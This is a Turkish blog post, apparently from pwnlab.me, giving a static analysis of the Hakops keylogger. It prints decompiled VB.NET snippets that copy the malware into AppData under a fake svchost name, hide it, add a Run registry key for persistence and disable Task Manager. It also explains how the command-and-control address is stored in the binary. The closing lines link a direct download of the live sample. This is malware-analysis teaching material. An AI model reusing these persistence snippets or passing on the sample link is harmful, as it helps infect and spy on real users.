Malware

[TR] Hakops Keylogger | Statik Zararlı Yazılım Analizi

Reklam

[TR] Hakops Keylogger | Statik Zararlı Yazılım Analizi

Merhaba, bu makalemizde sizlerle beraber piyasada yaygın bir şekilde kullanılan Hakops Keylogger isimli zararlı yazılımın statik analizini yapacağız.

Statik Zararlı Yazılım Analiz nedir?

Statik Zararlı Yazılım Analizi, yazılımın belirli işlemlerden geçirilip yorumlandıktan sonra kodlarını okuduğumuz analiz çeşididir. Dinamik Zararlı Yazılım Analizine Göre yavaş bir şekilde gerçekleşir. Dinamik analizden farkı yazılım hiç çalıştırılmaz. Kodların üzerinden belirli işlemlerden geçirilip yazılım da zararlı amaç aranır.

Yazılım hangi programlama dili ile yazıldı?

Yazılımın hangi dil ile yazıldığını anlamak için bir çok yazılım kullanabilirsiniz, ben die (Detect It Easy) kullanacağım, dosyayı yazılıma sürüklediğimde karşıma şöyle bir ekran çıkıyor.

die
die

Burada bize yazılımın başlangıç noktası, kütüphanesi ve derleyicisi gibi bilgiler veriliyor. Yazılım net framework kütüphanesini kullanmış, vb.net ile yazılmış. Ve bunlar dışında yazılımda herhangi bir koruma olsa idi die bize onu da gösterirdi.

Yazılım hangi dll’leri import etti?

Yazılımın içeri aktardığı dll’leri yorumlamak tersine mühendislikte en az yazılımın kodlarını okumak kadar önemli bir işlemdir. Bu işlem için “cff explorer” isimli yazılımı kullanabiliriz. Programı içeri yükleyip “import directory” isimli kısma bakalım.

cff
cff

yazılıma mscore.dll isimli dll’i import ettiğini görüyoruz. Biraz araştırma yaptığım ve dll’in tarayıcı her çalıştığında kendini başlatabilme potansiyeline sahip olduğunu gördüm. (bknz kaynak: https://tr.nex-software.com/mscoreedll-dosyasi-nedir )

Şimdi zaman kaybetmeden yazılımın kodlarını yorumlama aşamasına geçelim.

Yazılımın kodlarını nasıl yorumlarız?

Net framework kütüphanesini kullanan yazılımların kaynak kodlarını yorumlamak için en kazançlı yazılım Dnspy’dır. Dnspy bu işlemler nasıl yapıyor? diye soracak olursanız şöyle özetleyeyim.

Net framework kütüphanesini kullanan yazılımlar nasıl çalışır?

.Net kütüphanesini kullanan bir yazılım derlendiğinde masaüstünde IL kodlarının .exe uzantısına dönüşmüş haliyle durur sonra çalıştırıldığında bir daha derlenir. Derleme işleminden itibaren yazılımın kodlarını makinenin anlayabileceği java’nın byte kodlarına benzeyen bir yapıya yani IL kodlarına dönüştürülür. Sonra IL kodları jit’e gider, jit’te yazılımın IL kodlarını runtime makine koduna çevirip yazılımı çalıştırır. Net framework ile yazılmış bir yazılım bu şekilde çalışır.

Peki bu işin tersine olan kısmını nasıl yapacağız?

Kodların yorumlanacağı yazılımı ilk olarak Disassemble işleminden geçireceğiz, bu işlemde IL kodları makine diline dönüştürülür. Sonra kodu makine dilinden hedef dile yorumlamak için decomple işlemi yaparız. Decomple işleminde makine dili hedef programlama diline göre yorumlanır. Yukarda anlattığım gibi bu işin tersine kısmını dnspy ile otomatize bir şekilde halledebiliriz.

Şimdi aksiyon zamanı! Yazılımın kodlarını inceleyip yorumlayalım.

Yazılımımızı dnspy ile açtığımızda karşımıza şu şekilde bir ekran geliyor.

dnspy
dnspy

Şimdi ise ilk önce başlangıç noktasının (entry point) üstüne basarak programın main fonksiyonuna gidiyoruz. Fakat işimize yarar bir şey bulamıyoruz.

main
main

Bu arada yazılımın kodlarını okur iken sol tarafta karşımıza windowsolaygünlüğü.exe diye bir isim çıkıyor. Bizim elimizdeki yazılımın ismi anonimlerddos.exe bu 2si çakışıyor.  Belli ki yazılım kendini kullanıcıya masum göstermeye çalışıyor şeklinde bir varsayımda bulunuyoruz. Devam edelim.

agac
agac

Şimdi yazılımın kodlarını arayalım, ben buldum. kodlar “Windows_Olay_gunlügü>Form1 (@02000008) ” konumunda, burda yazılımın class’larını görüyoruz.

agacclass
agacclass

Classların hepsini okuyup yorumlamamız gerekli ama bu çok uzun bir süreç olacağından dolayı ben önceden kodları okudum. Okuduğum kodları gelin beraber yorumlayalım.

Appdata klasörüne svchost.exe’yi kopyalama

İlk olarak Form1>Form1_Load sınıfının 81. satırında bulunan koda bir bakalım.

FileSystem.FileCopy(Application.ExecutablePath, Interaction.Environ("appdata") + "\\svcshost.exe");

Bu kodda açık olarak bilgisayarımızın appdata klasörüne svchost isimli bir yazılım kopyalandığını görüyoruz.

svchost.exe kopyalama
svchost.exe kopyalama

Svchost.exe’yi gizleme

Şimdi Form1>Form1_Load sınıfının 91. satırında bulunan koda bi göz atalım.

FileSystem.SetAttr(Interaction.Environ("appdata") + "\\svcshost.exe", FileAttribute.Hidden);

Bu kodda anladığım kadarı ile svchost.exe’yi gizli bir dosya haline getiriyor.

svchost.exe gizleme
svchost.exe gizleme

Svchost.exe’yi başlangıca ekleme

Sırada ki kodumuz Form1>Form1_Load sınıfının 108 ve 102. satırlarında.

MyProject.Computer.Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Windows Olay Günlügü").SetValue("Windows Olay Günlügü", Interaction.Environ("appdata") + "\\svcshost.exe");
//Regedit'te subkey oluşturma
MyProject.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true).SetValue("Windows Olay Günlügü", Interaction.Environ("appdata") + "\\svcshost.exe");
//Regedit subkey açma

Bu kodda basit olarak anlatmak gerekir ise svchost.exe isimli yazılımı windowsun başlangıcına ekliyor. Yani bilgisayar her başlatıldığında bu yazılım da başlatılıyor.

svchost.exe baslangıca ekleme
svchost.exe baslangıca ekleme

Görev yöneticisini devre dışı bırakma

Bir sonraki kodumuz Form1>Form1_Load sınıfının 64 ve 67 satırlarında bulunuyor.

RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
//Subkey oluşturarak işlem yapılacak bölümü registrykey değişkeninin içine atıyor.
registryKey.SetValue("DisableTaskMgr", 1);
//DisableTaskMgr girdisine 1 değerini atayarak görev yöneticisini devre dışı bırakıyor.
// Kaynak: https://getadmx.com/HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/System

Bu kod ile windowsta bulunan görev yöneticisini devre dışı bırakıyor. Yani bir nevi yazılımı çalışırken kapatmamızı veya başlangıçtan silmemizi acemice engelliyor.

görev yöneticisi devre dışı
görev yöneticisi devre dışı

Türkçe karakterleri İngilizce karakterlere çevirme

Şimdi ki kodumuz Form1>duzenle sınıfında bulunuyor.

private object Duzenle(string Kelime)
{
Kelime = Strings.Replace(Kelime, "ç", "c", 1, -1, CompareMethod.Binary);
Kelime = Strings.Replace(Kelime, "Ç", "C", 1, -1, CompareMethod.Binary);
Kelime = Strings.Replace(Kelime, "İ", "I", 1, -1, CompareMethod.Binary);
Kelime = Strings.Replace(Kelime, "ı", "i", 1, -1, CompareMethod.Binary);
Kelime = Strings.Replace(Kelime, "ğ", "g", 1, -1, CompareMethod.Binary);
Kelime = Strings.Replace(Kelime, "Ğ", "G", 1, -1, CompareMethod.Binary);
Kelime = Strings.Replace(Kelime, "ş", "s", 1, -1, CompareMethod.Binary);
Kelime = Strings.Replace(Kelime, "Ş", "S", 1, -1, CompareMethod.Binary);
return Kelime;
}

Bu kodun amacı verilen Türkçe karakterleri İngilizce karakterlere dönüştürmek. Bu da keyloggerlerin sıklıkla yaptığı bir davranıştır.

turkce karakter
turkce karakter

Yazılımın iletişim adresini bulma

Son olarak yazılımın iletişim adresini bulmalıyız, bu işin en komplike kısmı. Şahsen ben bu konuda yazılımı ilk analiz ettiğimde baya yardım almıştım. Yazılımın kodlarının belirli yerlerinde sunucu isimli değişkenler bulunuyor. Örnek olarak Form1>Getİp sınıfının 19. satırında.

iletisim adresi degiskeni
iletisim adresi degiskeni

sunucu değişkenine sağ tıklayıp analiz diyoruz.

sunucu analiz
sunucu analiz

atayan kısmının altındaki ifadeye çift tıkladığımda değişkenin tanımlandığı yere geliyoruz.

iletisim adres kod
iletisim adres kod

sVeri[1] listesinin 1. girdisinde yazan değeri kendine atıyor. Acaba orda ne var?

673. satırda file open fonksiyonunu kullanarak kendine 1 değerini vermiş. 678. satırda az önce aldığı 1 değerinin boyutunu almış.681. satırda filefet fonksiyonu ile kendi byte kodlarını çekmiş. 690. satırda az önce anlattığım zımbırtıları kullanarak iletişim adresini yazılımın byte kodlarından çekmiş. Yani işin Türkçesi yazılımı not defteri gibi bir yazılım ile açıp <-hakops-> sorgusunu arattığınızda bu kelimenin yanında iletişim adresini bulacaksınız.

Bu kısmı biraz karışık anlatmış olabilirim, açık söylemek gerekir ise ben de iletişim adresi bulma kısmını yardım  alarak yaptım ve konuya çok fazla hakim değilim.

iletisim adresi
iletisim adresi

“Hakops Keylogger Statik Zararlı Yazılım Analizi” konusunu işlediğim makalem bu kadardı, reverse engineering çok geniş bir kavram haliyle bilmediğim veya yanlış&eksik anlattığım bölümler olabilir. Böyle durumlarda yorumlar kısmını kullanırsanız hem bana hem de bu makaleyi okuyan diğer insanlara yardım edebilirsiniz. 🙂

Zararlı yazılımın indirme linki: https://www.dosya.tc/server33/6f08et/anonimler_ddos.exe.html

DipNot: Zararlı yazılım şahsıma ait değildir ve yazılımı açıp bilgisayarınıza vereceğiniz herhangi bir hasarda pwnlab.me ve şahsım sorumlu tutulamaz.

https://pwnlab.me/category/malware/

 

 

Reklam
Reklam

Eren Yılmaz

Ben Eren, kendimce zararlı yazılım analizi ile uğraşıyorum.

İlgili Makaleler

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Başa dön tuşu